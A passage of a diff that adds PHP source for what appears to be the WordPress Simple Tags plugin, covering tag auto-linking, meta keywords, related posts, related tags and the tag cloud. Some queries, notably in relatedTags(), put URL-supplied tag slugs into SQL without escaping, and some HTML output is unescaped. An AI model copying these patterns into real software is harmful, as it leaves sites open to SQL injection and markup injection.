+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+		
+		$no_follow = (int) $this->options['no_follow'];
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';	
+		}
+		
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+		
+		// only continue if the database actually returned any links
+		if ( isset($this->link_tags) && is_array($this->link_tags) && count($this->link_tags) > 0 ) {
+			$must_tokenize  = TRUE;         // will perform basic tokenization
+			$tokens         = NULL;         // two kinds of tokens: markup and text
+			
+			$case = ( $this->options['auto_link_case'] == 1 ) ? 'i' : '';
+			
+			foreach ( (array) $this->link_tags as $term_name => $term_link ) {
+				$filtered     = "";           // will filter text token by token
+				$match        = "/\b" . preg_quote($term_name, "/") . "\b/".$case;
+				$substitute   = '<a href="'.$term_link.'" class="st_tag internal_tag" '.$rel.' title="'. attribute_escape( sprintf( __('Posts tagged with %s', 'simpletags'), $term_name ) )."\">$0</a>";
+				
+				 // for efficiency only tokenize if forced to do so
+				if ( $must_tokenize ) {
+					// this regexp is taken from PHP Markdown by Michel Fortin: http://www.michelf.com/projects/php-markdown/
+					$comment                = '(?s:<!(?:--.*?--\s*)+>)|';
+					$processing_instruction = '(?s:<\?.*?\?>)|';
+					$tag = '(?:<[/!$]?[-a-zA-Z0-9:]+\b(?>[^"\'>]+|"[^"]*"|\'[^\']*\')*>)';
+					$markup         = $comment . $processing_instruction . $tag;
+					$flags          = PREG_SPLIT_DELIM_CAPTURE;
+					$tokens         = preg_split("{($markup)}", $content, -1, $flags);
+					$must_tokenize  = FALSE;
+				}
+				
+				// there should always be at least one token, but check just in case
+				if ( isset($tokens) && is_array($tokens) && count($tokens) > 0 ) {
+					$i = 0;
+					foreach ($tokens as $token) {
+						if (++$i % 2 && $token != '') { // this token is (non-markup) text						
+							if ($anchor_level == 0) { // linkify if not inside anchor tags						
+								if ( preg_match($match, $token) ) { // use preg_match for compatibility with PHP 4							
+									$token = preg_replace($match, $substitute, $token); // only PHP 5 supports calling preg_replace with 5 arguments
+									$must_tokenize = TRUE;  // re-tokenize next time around
+								}
+							}
+						}
+						else { // this token is markup					
+							if ( preg_match("#<\s*a\s+[^>]*>#i", $token) ) { // found <a ...>
+								$anchor_level++;
+							} elseif ( preg_match("#<\s*/\s*a\s*>#i", $token) ) { // found </a>
+								$anchor_level--;
+							}
+						}
+						$filtered .= $token; // this token has now been filtered
+					}
+					$content = $filtered; // filtering completed for this link
+				}
+			}
+		}
+		
+		// Remove ST Prefix/Suffix content
+		$content = substr($content, 5, strlen($content) - 11);
+		
+		return $content;
+	}
+
+	/**
+	 * Replace marker by a tag cloud in post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlineTagCloud( $content = '' ) {
+		if ( strpos($content, '<!--st_tag_cloud-->') ) {
+			$content = str_replace('<!--st_tag_cloud-->', $this->extendedTagCloud( '', false ), $content);
+		}
+		return $content;
+	}
+
+	/**
+	 * Stock posts ID as soon as possible
+	 *
+	 * @param array $posts
+	 * @return array
+	 */
+	function getPostIds( $posts = array() ) {
+		if ( !empty($posts) && is_array($posts) ) {
+			foreach( (array) $posts as $post) {
+				$this->posts[] = $post->ID;
+			}
+		}
+		return $posts;
+	}
+
+	function getTagsFromCurrentPosts() {
+		if ( is_array($this->posts) && count($this->posts) > 0 ) {
+			// Generate SQL from post id
+			$postlist = implode( "', '", $this->posts );
+
+			if ( $this->use_cache === true ) { // Use cache
+				// Generate key cache
+				$key = md5(maybe_serialize($postlist));
+	
+				// Get cache if exist
+				if ( $cache = wp_cache_get( 'generate_keywords', 'simpletags' ) ) {
+					if ( isset( $cache[$key] ) ) {
+						$this->tags_currentposts = $cache[$key];
+						return;
+					}
+				}
+			}
+
+			// If cache not exist, get datas and set cache
+			global $wpdb;			
+			$results = $wpdb->get_results("
+				SELECT t.name AS name, t.term_id AS term_id, tt.count AS count
+				FROM {$wpdb->term_relationships} AS tr
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
+				INNER JOIN {$wpdb->terms} AS t ON (tt.term_id = t.term_id)
+				WHERE tt.taxonomy = 'post_tag'
+				AND ( tr.object_id IN ('{$postlist}') )
+				GROUP BY t.term_id
+				ORDER BY tt.count DESC");
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $results;
+				wp_cache_set('generate_keywords', $cache, 'simpletags');
+			}
+
+			$this->tags_currentposts = $results;
+			unset($results, $key);
+		}
+	}
+
+	/**
+	 * Generate keywords for meta data
+	 *
+	 * @return string
+	 */
+	function generateKeywords() {
+		// Get tags for current posts
+		if ( empty($this->tags_currentposts) ) {
+			$this->getTagsFromCurrentPosts();
+		}
+
+		$results = array();
+		foreach ( (array) $this->tags_currentposts as $term ) {
+			$results[] = $term->name;
+		}
+		unset($this->tags_currentposts);
+
+		$always_list = trim($this->options['meta_always_include']); // Static keywords
+		$always_array = (array) explode(',', $always_list);
+
+		// Trim
+		foreach ( $always_array as $keyword ) {
+			if ( empty($keyword) ) {
+				continue;
+			}
+			$results[] = trim($keyword);
+		}
+		unset($always_list, $always_array);
+
+		// Unique keywords
+		$results = array_unique($results);
+		
+		// Return if empty
+		if ( empty($results) ) {
+			return '';
+		}
+		
+		// Limit to max quantity if set
+		$number = (int) $this->options['meta_keywords_qty'];
+		if ( $number != 0 && is_array($results) && !empty($results) && count($results) > 1 ) {
+			$results = $this->randomArray($results); // Randomize keywords
+			$results = array_slice( $results, 0, $number );
+		}
+
+		return strip_tags(implode(', ', $results));
+	}
+
+	/**
+	 * Display meta keywords
+	 *
+	 */
+	function displayMetaKeywords() {
+		$terms_list = $this->generateKeywords();
+		if ( !empty($terms_list) ) {
+			echo "\n\t" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". '<meta name="keywords" content="' . $terms_list . '" />' ."\n";
+		}
+		return;
+	}
+
+	/**
+	 * Auto add related posts to post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlineRelatedPosts( $content = '' ) {
+		$marker = false;
+		if ( is_feed() ) {
+			if ( $this->options['rp_feed'] == '1' ) {
+				$marker = true;
+			}
+		} else {
+			switch ( $this->options['rp_embedded'] ) {
+				case 'blogonly' :
+					$marker = ( is_feed() ) ? false : true;		
+					break;
+				case 'homeonly' :					
+					$marker = ( is_home() ) ? true : false;
+					break;
+				case 'singularonly' :	
+					$marker = ( is_singular() ) ? true : false;				
+					break;
+				case 'singleonly' :					
+					$marker = ( is_single() ) ? true : false;					
+					break;
+				case 'pageonly' :
+					$marker = ( is_page() ) ? true : false;			
+					break;
+				case 'all' :
+					$marker = true;					
+					break;	
+				case 'no' :
+				default:
+					$marker = false;
+					break;		
+			}
+		}
+
+		if ( $marker === true ) {
+			return ( $content . $this->relatedPosts( '', false ) );
+		}
+		return $content;
+	}
+
+	/**
+	 * Auto add current tags post to post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlinePostTags( $content = '' ) {
+		$marker = false;
+		if ( is_feed() ) {
+			if ( $this->options['tt_feed'] == '1' ) {
+				$marker = true;
+			}
+		} else {
+			switch ( $this->options['tt_embedded'] ) {
+				case 'blogonly' :
+					$marker = ( is_feed() ) ? false : true;		
+					break;
+				case 'homeonly' :					
+					$marker = ( is_home() ) ? true : false;
+					break;
+				case 'singularonly' :	
+					$marker = ( is_singular() ) ? true : false;				
+					break;
+				case 'singleonly' :					
+					$marker = ( is_single() ) ? true : false;					
+					break;
+				case 'pageonly' :
+					$marker = ( is_page() ) ? true : false;			
+					break;
+				case 'all' :
+					$marker = true;					
+					break;	
+				case 'no' :
+				default:
+					$marker = false;
+					break;
+			}
+		}
+
+		if ( $marker === true ) {
+			return ( $content . $this->extendedPostTags( '', false ) );
+		}
+		return $content;
+	}
+
+
+	/**
+	 * Generate related posts
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function relatedPosts( $user_args = '', $copyright = true ) {
+		$defaults = array(
+			'number' => 5,
+			'order' => 'count-desc',
+			'format' => 'list',
+			'include_page' => 'true',
+			'exclude_posts' => '',
+			'exclude_tags' => '',
+			'post_id' => '',
+			'except_wrap' => 55,
+			'limit_days' => 0,
+			'min_shared' => 1,
+			'title' => __('<h4>Related posts</h4>', 'simpletags'),
+			'nopoststext' => __('No related posts.', 'simpletags'),
+			'dateformat' => $this->dateformat,
+			'xformat' => __('<a href="%post_permalink%" title="%post_title% (%post_date%)">%post_title%</a> (%post_comment%)', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['number'] = $this->options['rp_limit_qty'];
+		$defaults['order'] = $this->options['rp_order'];
+		$defaults['nopoststext'] = $this->options['rp_notagstext'];
+		$defaults['title'] = $this->options['rp_title'];
+		$defaults['xformat'] = $this->options['rp_xformat'];	
+			
+		if( empty($user_args) ) {		
+			$user_args = $this->options['rp_adv_usage'];
+		}
+
+		// Replace old markers by new
+		$markers = array('%date%' => '%post_date%', '%permalink%' => '%post_permalink%', '%title%' => '%post_title%', '%commentcount%' => '%post_comment%', '%tagcount%' => '%post_tagcount%', '%postid%' => '%post_id%');
+		$user_args = strtr($user_args, $markers);
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// Get current post data
+		$post_id = (int) $post_id;
+		if ( $post_id == 0 ) {
+			global $post;
+			$object_id = (int) $post->ID;
+		}
+
+		// Get cache if exist
+		$results = false;		
+		if ( $this->use_cache === true ) { // Use cache
+			// Generate key cache
+			$key = md5(maybe_serialize($user_args.'-'.$object_id));
+
+			if ( $cache = wp_cache_get( 'related_posts', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					$results = $cache[$key];
+				}
+			}
+		}
+
+		// If cache not exist, get datas and set cache
+		if ( $results === false || $results === null ) {
+			// Get get tags
+			$current_tags = get_the_tags( (int) $object_id );
+
+			if ( $current_tags === false ) {
+				return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+			}
+
+			// Number - Limit
+			$number = (int) $number;
+			if ( $number == 0 ) {
+				$number = 5;
+			} elseif( $number > 50 ) {
+				$number = 50;
+			}
+			$limit_sql = 'LIMIT 0, '.$number;
+			unset($number);
+
+			// Order tags before output (count-asc/count-desc/date-asc/date-desc/name-asc/name-desc/random)
+			$order_by = '';
+			$order = strtolower($order);
+			switch ( $order ) {
+				case 'count-asc':
+					$order_by = 'counter ASC, p.post_title DESC';
+					break;
+				case 'random':
+					$order_by = 'RAND()';
+					break;
+				case 'date-asc':
+					$order_by = 'p.post_date ASC';
+					break;
+				case 'date-desc':
+					$order_by = 'p.post_date DESC';
+					break;
+				case 'name-asc':
+					$order_by = 'p.post_title ASC';
+					break;
+				case 'name-desc':
+					$order_by = 'p.post_title DESC';
+					break;
+				default: // count-desc
+					$order_by = 'counter DESC, p.post_title DESC';
+					break;
+			}
+
+			// Limit days - 86400 seconds = 1 day
+			$limit_days = (int) $limit_days;
+			$limit_days_sql = '';
+			if ( $limit_days != 0 ) {
+				$limit_days_sql = 'AND p.post_date > "' .date( 'Y-m-d H:i:s', time() - $limit_days * 86400 ). '"';
+			}
+			unset($limit_days);
+
+			// Include_page
+			$include_page = strtolower($include_page);
+			if ( $include_page == 'true' ) {
+				$restrict_sql = "AND p.post_type IN ('page', 'post')";
+			} else {
+				$restrict_sql = "AND p.post_type = 'post'";
+			}
+			unset($include_page);
+
+			// Restrict posts
+			$exclude_posts_sql = '';
+			if ( $exclude_posts != '' ) {
+				$exclude_posts = (array) explode(',', $exclude_posts);
+				$exclude_posts_sql = "AND p.ID NOT IN (";
+				foreach ( $exclude_posts as $value ) {
+					$value = (int) $value;
+					if( $value != 0 ) {
+						$exclude_posts_sql .= '"'.$value.'", ';
+					}
+				}
+				$exclude_posts_sql .= '"'.$post_id.'")';
+			} else {
+				$exclude_posts_sql = "AND p.ID <> {$object_id}";
+			}
+			unset($exclude_posts);
+
+			// Restricts tags
+			$tags_to_exclude = array();
+			if ( $exclude_tags != '' ) {
+				$exclude_tags = (array) explode(',', $exclude_tags);
+				foreach ( $exclude_tags as $value ) {
+					$tags_to_exclude[] = trim($value);
+				}
+			}
+			unset($exclude_tags);
+
+			// SQL Tags list
+			$tag_list = '';
+			foreach ( (array) $current_tags as $tag ) {
+				if ( !in_array($tag->name, $tags_to_exclude) ) {
+					$tag_list .= '"'.(int) $tag->term_id.'", ';
+				}
+			}
+
+			// If empty return no posts text
+			if ( empty($tag_list) ) {
+				return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+			}
+
+			// Remove latest ", "
+			$tag_list = substr($tag_list, 0, strlen($tag_list) - 2);
+
+			// If empty use default xformat !
+			if ( empty($xformat) ) {
+				$xformat = $defaults['xformat'];
+			}
+
+			// Group Concat only for MySQL > 4.1 and check if post_relatedtags is used by xformat...
+			$select_gp_concat = '';
+			if ( version_compare(mysql_get_server_info(), '4.1.0', '>=') && ( strpos($xformat,'%post_relatedtags%') || $min_shared > 1 ) ) {
+				$select_gp_concat = ', GROUP_CONCAT(tt.term_id) as terms_id';
+			} else {
+				$xformat = str_replace('%post_relatedtags%', '', $xformat); // Group Concat only for MySQL > 4.1, remove related tags
+			}
+
+			// Check if post_excerpt is used by xformat...
+			$select_excerpt = '';
+			if ( strpos( $xformat, '%post_excerpt%' ) ) {
+				$select_excerpt = ', p.post_content, p.post_excerpt, p.post_password';
+			}
+
+			// Posts: title, comments_count, date, permalink, post_id, counter
+			global $wpdb;
+			$results = $wpdb->get_results("
+				SELECT p.post_title, p.comment_count, p.post_date, p.ID, COUNT(tr.object_id) AS counter {$select_excerpt} {$select_gp_concat}
+				FROM {$wpdb->posts} AS p
+				INNER JOIN {$wpdb->term_relationships} AS tr ON (p.ID = tr.object_id)
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
+				WHERE tt.taxonomy = 'post_tag'
+				AND (tt.term_id IN ({$tag_list}))
+				{$exclude_posts_sql}
+				AND p.post_status = 'publish'
+				AND p.post_date_gmt < '".current_time('mysql')."'
+				{$limit_days_sql}
+				{$restrict_sql}
+				GROUP BY tr.object_id
+				ORDER BY {$order_by}
+				{$limit_sql}");
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $results;
+				wp_cache_set('related_posts', $cache, 'simpletags');
+			}
+		}
+
+		if ( $results === false || empty($results) ) {
+			return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+		} elseif ( $format == 'array' ) {
+			return $this->outputContent( 'st-related-posts', 'array', '', $results, $copyright );
+		}
+
+		if ( empty($dateformat) ) {
+			$dateformat = $this->dateformat;
+		}
+
+		$output = array();
+		// Replace placeholders
+		foreach ( (array) $results as $result ) {
+			if ( $min_shared > 1 && ( count(explode(',', $result->terms_id)) < $min_shared ) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			
+			$post_title = apply_filters( 'the_title', $result->post_title );
+			$element_loop = str_replace('%post_date%', mysql2date($dateformat, $result->post_date), $element_loop);
+			$element_loop = str_replace('%post_permalink%', get_permalink($result->ID), $element_loop);			
+			$element_loop = str_replace('%post_title%', $post_title, $element_loop);
+			$element_loop = str_replace('%post_title_attribute%', wp_specialchars(strip_tags($post_title)), $element_loop);		
+			$element_loop = str_replace('%post_comment%', $result->comment_count, $element_loop);
+			$element_loop = str_replace('%post_tagcount%', $result->counter, $element_loop);
+			$element_loop = str_replace('%post_id%', $result->ID, $element_loop);
+			$element_loop = str_replace('%post_relatedtags%', $this->getTagsFromID($result->terms_id), $element_loop);
+			$element_loop = str_replace('%post_excerpt%', $this->getExcerptPost( $result->post_excerpt, $result->post_content, $result->post_password, $except_wrap ), $element_loop);
+
+			$output[] = $element_loop;
+		}
+		unset($results, $result);
+		return $this->outputContent( 'st-related-posts', $format, $title, $output, $copyright );
+	}
+
+	function getExcerptPost( $excerpt = '', $content = '', $password = '', $excerpt_length = 55 ) {
+		if ( !empty($password) ) { // if there's a password
+			if ( $_COOKIE['wp-postpass_'.COOKIEHASH] != $password ) {  // and it doesn't match the cookie
+				return __('There is no excerpt because this is a protected post.', 'simpletags');
+			}
+		}
+
+		if ( !empty($excerpt) ) {
+			return apply_filters('get_the_excerpt', $excerpt);
+		} else { // Fake excerpt
+			$content = str_replace(']]>', ']]&gt;', $content);
+			$content = strip_tags($content);
+
+			$excerpt_length = (int) $excerpt_length;
+			if ( $excerpt_length == 0 ) {
+				$excerpt_length = 55;
+			}
+
+			$words = explode(' ', $content, $excerpt_length + 1);
+			if ( count($words) > $excerpt_length ) {
+				array_pop($words);
+				array_push($words, '[...]');
+				$content = implode(' ', $words);
+			}
+			return $content;
+		}
+	}
+
+	//Get and format tags from list ID (SQL Group Concat)
+	function getTagsFromID( $terms = '' ) {
+		if ( empty($terms) ) {
+			return '';
+		}
+
+		// Get tags since Term ID.
+		$terms = (array) get_terms('post_tag', 'include='.$terms);
+		if ( empty($terms) ) {
+			return '';
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = '';
+		
+		global $wp_rewrite; 
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+		
+		$no_follow = (int) $this->options['no_follow'];
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';	
+		}
+		
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+
+		$output = '';
+		foreach ( $terms as $term ) {
+			$output .= '<a href="'.get_tag_link($term->term_id).'" title="'.attribute_escape(sprintf( __ngettext('%d topic', '%d topics', $term->count, 'simpletags'), $term->count )).'" '.$rel.'>'.wp_specialchars($term->name).'</a>, ';
+		}
+		$output = substr($output, 0, strlen($output) - 2); // Remove latest ", "
+		return $output;
+	}
+
+	/**
+	 * Check is page is a tag view, even if tags haven't post
+	 *
+	 * @return boolean
+	 */
+	function isTag() {
+		$slugs = get_query_var('tag');	
+		
+		if ( empty($slugs) ) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * Get related tags for a tags view
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function relatedTags( $user_args = '' ) {
+		$defaults = array(
+			'number' => 5,
+			'order' => 'count-desc',
+			'separator' => ' ',
+			'format' => 'list',
+			'method' => 'OR',
+			'no_follow' => 0,
+			'title' => __('<h4>Related tags</h4>', 'simpletags'),
+			'notagstext' => __('No related tag found.', 'simpletags'),
+			'xformat' => __('<span>%tag_count%</span> <a %tag_rel% href="%tag_link_add%">+</a> <a %tag_rel% href="%tag_link%" title="See posts with %tag_name_attribute%">%tag_name%</a>', 'simpletags')
+		);
+		
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['number'] = $this->options['rt_number'];
+		$defaults['order'] = $this->options['rt_order'];
+		$defaults['separator'] = $this->options['rt_separator'];
+		$defaults['format'] = $this->options['rt_format'];
+		$defaults['method'] = $this->options['rt_method'];
+		$defaults['title'] = $this->options['rt_title'];
+		$defaults['notagstext'] = $this->options['rt_notagstext'];
+		$defaults['xformat'] = $this->options['rt_xformat'];
+			
+		if( empty($user_args) ) {			
+			$user_args = $this->options['rt_adv_usage'];
+		}
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		if ( !is_tag() && !$this->isTag() ) {
+			return $this->outputContent( 'st-related-tags', $format, $title, '', true );
+		}
+		
+		// Method union/intersection
+		$method = strtoupper($method);
+		if ( $method == 'AND' ) {
+			$url_tag_sep = '+';
+		} else {
+			$url_tag_sep = ',';
+		}
+		
+		// Get currents slugs
+		$slugs = get_query_var('tag');		
+		if ( strpos( $slugs, ',') ) {
+			$current_slugs = explode(',', $slugs);
+		} elseif ( strpos( $slugs, '+') ) {
+			$current_slugs = explode('+', $slugs);
+		} elseif ( strpos( $slugs, ' ') ) {
+			$current_slugs = explode(' ', $slugs);
+		}else {
+			$current_slugs[] = $slugs;
+		}
+
+		// Get cache if exist
+		$related_tags = false;
+		if ( $this->use_cache === true ) { // Use cache
+			// Generate key cache
+			$key = md5(maybe_serialize($user_args.$slugs));
+			
+			if ( $cache = wp_cache_get( 'related_tags', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					$related_tags = $cache[$key];
+				}
+			}
+		}
+
+		// If cache not exist, get datas and set cache
+		if ( $related_tags === false || $related_tags === null ) {
+			// Order tags before selection (count-asc/count-desc/name-asc/name-desc/random)
+			$order_tmp = strtolower($order);
+			$order_by = $order = '';
+			switch ( $order_tmp ) {
+				case 'count-asc':
+					$order_by = 'count';
+					$order = 'ASC';
+					break;
+				case 'random':
+					$order_by = 'RAND()';
+					$order = '';
+					break;
+				case 'name-asc':
+					$order_by = 'name';
+					$order = 'ASC';
+					break;
+				case 'name-desc':
+					$order_by = 'name';
+					$order = 'DESC';
+					break;
+				default: // count-desc
+					$order_by = 'count';
+					$order = 'DESC';
+					break;
+			}
+							
+			// Get objets
+			$terms = "'" . implode("', '", $current_slugs) . "'";
+			global $wpdb;
+			$object_ids = $wpdb->get_col("
+				SELECT tr.object_id
+				FROM {$wpdb->term_relationships} AS tr 
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
+				INNER JOIN {$wpdb->terms} AS t ON tt.term_id = t.term_id
+				WHERE tt.taxonomy = 'post_tag' 
+				AND t.slug IN ({$terms}) 
+				GROUP BY tr.object_id
+				ORDER BY tr.object_id ASC");
+			unset($terms);		
+			
+			// Get tags for specified objects
+			$all_related_tags = wp_get_object_terms( $object_ids, 'post_tag', array('orderby' => $order_by, 'order' => $order) );
+
+			// Remove duplicates tags
+			$all_related_tags = array_intersect_key($all_related_tags, array_unique(array_map('serialize', $all_related_tags)));
+			
+			// Exclude current tags
+			foreach ( (array) $all_related_tags as $tag ) {
+				if ( !in_array($tag->slug, $current_slugs) ) {
+					$related_tags[] = $tag;
+				}
+			}
+			
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $related_tags;
+				wp_cache_set('related_tags', $cache, 'simpletags');
+			}
+		}
+		
+		if ( empty($related_tags) ) {
+			return $this->outputContent( 'st-related-tags', $format, $title, $notagstext );
+		} elseif ( $format == 'array' ) {
+			return $this->outputContent( 'st-related-tags', 'array', '', $related_tags );
+		}
+
+		// Limit to max quantity if set
+		$number = (int) $number;
+		if ( $number != 0 ) {
+			$related_tags = array_slice( $related_tags, 0, $number );
+		}
+				
+		// HTML Rel (tag/no-follow)
+		$rel = '';
+		
+		global $wp_rewrite; 
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+		
+		$no_follow = (int) $no_follow;
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';	
+		}
+		
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+		
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Build outpout
+		$output = array();
+		foreach( $related_tags as $tag ) {
+			$element_loop = $xformat;
+			
+			$element_loop = str_replace('%tag_link%', clean_url(get_tag_link($tag->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_feed%', clean_url(get_tag_feed_link($tag->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_id%', $tag->term_id, $element_loop);
+			$element_loop = str_replace('%tag_count%', $tag->count, $element_loop);
+			$element_loop = str_replace('%tag_name%', wp_specialchars( $tag->name ), $element_loop);
+			$element_loop = str_replace('%tag_name_attribute%', wp_specialchars(strip_tags($tag->name)), $element_loop);			
+			$element_loop = str_replace('%tag_rel%', $rel, $element_loop);			
+			$element_loop = str_replace('%tag_link_add%', $this->getAddTagToLink( $current_slugs, $tag->slug, $url_tag_sep ), $element_loop);
+
+			$output[] = $element_loop;
+		}
+		unset($related_tags, $tag, $element_loop);
+		return $this->outputContent( 'st-related-tags', $format, $title, $output );
+	}
+	
+	function getAddTagToLink( $current_slugs = array(), $tag_slug = '', $separator = ',' ) {
+		// Add new tag slug to current slug
+		$current_slugs[] = $tag_slug;
+		
+		// Array to string with good separator
+		$slugs = implode( $separator, $current_slugs );
+
+		global $wp_rewrite;
+		$taglink = $wp_rewrite->get_tag_permastruct();
+	
+		if ( empty($taglink) ) { // No permalink
+			$taglink = $this->info['home'] . '/?tag=' . $slugs;
+		} else { // Custom permalink
+			$taglink = $this->info['home'] . user_trailingslashit( str_replace('%tag%', $slugs, $taglink), 'category');
+		}
+		
+		return apply_filters('st_add_tag_link', clean_url($taglink));
+	}
+
+	/**
+	 * Get tags to remove in related tags
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function removeRelatedTags( $user_args = '' ) {
+		$defaults = array(
+			'separator' => ' ',
+			'format' => 'list',
+			'notagstext' => ' ',
+			'no_follow' => 0,
+			'xformat' => __('&raquo; <a %tag_rel% href="%tag_link_remove%" title="Remove %tag_name_attribute% from search">Remove %tag_name%</a>', 'simpletags')
+		);		
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['separator'] = $this->options['rt_remove_separator'];
+		$defaults['format'] = $this->options['rt_remove_format'];
+		$defaults['notagstext'] = $this->options['rt_remove_notagstext'];
+		$defaults['xformat'] = $this->options['rt_remove_xformat'];
+			
+		if( empty($user_args) ) {		
+			$user_args = $this->options['rt_remove_adv_usage'];
+		}
+		
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		if ( !is_tag() && !$this->isTag() ) {
+			return $this->outputContent( 'st-remove-related-tags', $format, '', '', true );
+		}
+		
+		// Get currents slugs
+		$slugs = get_query_var('tag');		
+		if ( strpos( $slugs, ',') ) {
+			$current_slugs = explode(',', $slugs);
+			$url_tag_sep = ',';
+		} elseif ( strpos( $slugs, '+') ) {
+			$current_slugs = explode('+', $slugs);
+			$url_tag_sep = '+';
+		} elseif ( strpos( $slugs, ' ') ) {
+			$current_slugs = explode(' ', $slugs);
+			$url_tag_sep = '+';
+		} else {
+			return $this->outputContent( 'st-remove-related-tags', $format, '', $notagstext, true );
+		}
+		
+		if ( $format == 'array' ) {
+			return $this->outputContent( 'st-remove-related-tags', 'array', '', $current_slugs, true );
+		}
+						
+		// HTML Rel (tag/no-follow)
+		$rel = '';
+		
+		global $wp_rewrite; 
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+		
+		$no_follow = (int) $no_follow;
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';	
+		}
+		
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+		
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		foreach ( $current_slugs as $slug ) {
+			// Get term by slug
+			$term = get_term_by('slug', $slug, 'post_tag');
+			
+			$element_loop = $xformat;
+			
+			$element_loop = str_replace('%tag_link%', clean_url(get_tag_link($term->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_feed%', clean_url(get_tag_feed_link($term->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_id%', $term->term_id, $element_loop);
+			$element_loop = str_replace('%tag_count%', $term->count, $element_loop);
+			$element_loop = str_replace('%tag_name%', wp_specialchars( $term->name ), $element_loop);
+			$element_loop = str_replace('%tag_name_attribute%', wp_specialchars(strip_tags($term->name)), $element_loop);			
+			$element_loop = str_replace('%tag_rel%', $rel, $element_loop);
+					
+			$element_loop = str_replace('%tag_link_remove%', $this->getRemoveTagToLink( $current_slugs, $term->slug, $url_tag_sep ), $element_loop);
+
+			$output[] = $element_loop;			
+		}
+		return $this->outputContent( 'st-remove-related-tags', $format, '', $output );
+	}
+	
+	/**
+	 * Build tag url without a specifik tag
+	 *
+	 * @param array $current_slugs
+	 * @param string $tag_slug
+	 * @param string $separator
+	 * @return string
+	 */
+	function getRemoveTagToLink( $current_slugs = array(), $tag_slug = '', $separator = ',' ) {
+		// Remove tag slug to current slugs
+		$key = array_search($tag_slug, $current_slugs);
+		unset($current_slugs[$key]);
+		
+		// Array to string with good separator
+		$slugs = implode( $separator, $current_slugs );
+
+		global $wp_rewrite;
+		$taglink = $wp_rewrite->get_tag_permastruct();
+	
+		if ( empty($taglink) ) { // No permalink
+			$taglink = $this->info['home'] . '/?tag=' . $slugs;
+		} else { // Custom permalink
+			$taglink = $this->info['home'] . user_trailingslashit( str_replace('%tag%', $slugs, $taglink), 'category');
+		}
+		return apply_filters('st_remove_tag_link', clean_url($taglink));
+	}
+
+	/**
+	 * Sort an array without accent for naturel order :)
+	 *
+	 * @param string $a
+	 * @param string $b
+	 * @return boolean
+	 */
+	function uksortByName( $a = '', $b = '' ) {
+	    return strnatcasecmp( remove_accents($a), remove_accents($b) );
+	}
+
+	/**
+	 * Generate extended tag cloud
+	 *
+	 * @param string $args
+	 * @return string|array
+	 */
+	function extendedTagCloud( $args = '', $copyright = true ) {
+		$defaults = array(
+			'size' => 'true',
+			'smallest' => 8,
+			'largest' => 22,
+			'unit' => 'pt',
+			'color' => 'true',
+			'maxcolor' => '#000000',
+			'mincolor' => '#CCCCCC',
+			'number' => 45,
+			'format' => 'flat',
+			'cloud_selection' => 'count-desc',
+			'cloud_sort' => 'random',
+			'exclude' => '',
+			'include' => '',
+			'no_follow' => 0,
+			'limit_days' => 0,
+			'min_usage' => 0,
+			'inc_cats' => 0,
